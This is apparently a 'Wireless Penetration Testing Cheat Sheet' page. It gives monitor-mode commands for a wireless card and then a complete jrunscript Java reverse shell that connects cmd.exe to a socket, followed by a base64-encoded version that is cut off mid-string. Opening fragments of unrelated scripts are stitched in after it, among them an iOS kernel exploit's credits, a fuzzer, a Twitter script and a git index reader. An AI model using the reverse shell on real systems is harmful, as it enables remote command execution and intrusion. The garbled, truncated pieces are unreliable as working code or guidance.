Luke Symons R3zk0n

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

Open the Monitor Mode

root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

Nashorn / Rhino:

Reverse Shell

$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

Reverse Shell (Base-64 encoded)

$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V

	// Bugs by NSO Group / Ian Beer.
	// Exploit by Siguza & tihmstar.
	// Thanks also to Max Bazaliy.

	#include <stdint.h> // uint32_t, uint64_t
	#include <stdio.h> // fprintf, stderr
	#include <string.h> // memcpy, memset, strncmp
	#include <unistd.h> // getpid
	#include <mach/mach.h>
	#include <stdlib.h>

	#!/usr/bin/env python3

	import requests
	import sys
	from bs4 import BeautifulSoup
	from urllib.parse import urljoin
	import random
	import logging
	import time

	# twitterfavlinks.py - Throw back all your favorites that contain a url. Get any applicable redirects. Note there are Twitter API
	# limits, so if you have a gazillion favorites, you probably won't get them all. YMMV
	#
	# Author: @curi0usJack
	#
	# Dependencies:
	# Tweepy: sudo pip install tweepy
	# Twitter API access. Set up here: https://apps.twitter.com/

	import tweepy

	#!/usr/bin/python

	import os
	import socket
	import struct
	from time import sleep

	from pwn import *

	bind_ip = '0.0.0.0'

	'''

	Author : Debasish Mandal
	Blog :http://www.debasish.in/
	Twitter : https://twitter.com/debasishm89

	A mutation based user mode (ring3) dumb in-memory IOCTL Fuzzer/Logger.
	This script attach it self to any given process and hooks DeviceIoControl!Kernel32 API and
	try to log or fuzz all I/O Control code I/O Buffer pointer, I/O buffer length that
	process sends to any Kernel driver.

	#!/usr/bin/env ruby

	# ************************************************************************
	# A simple ruby script to read the index file of any git repository
	# and dump its contents to a file in a readable format.
	#
	# This is totally a study tool, written when I was trying to understand
	# the git internals.
	#
	# The file strucutre specification considered is this :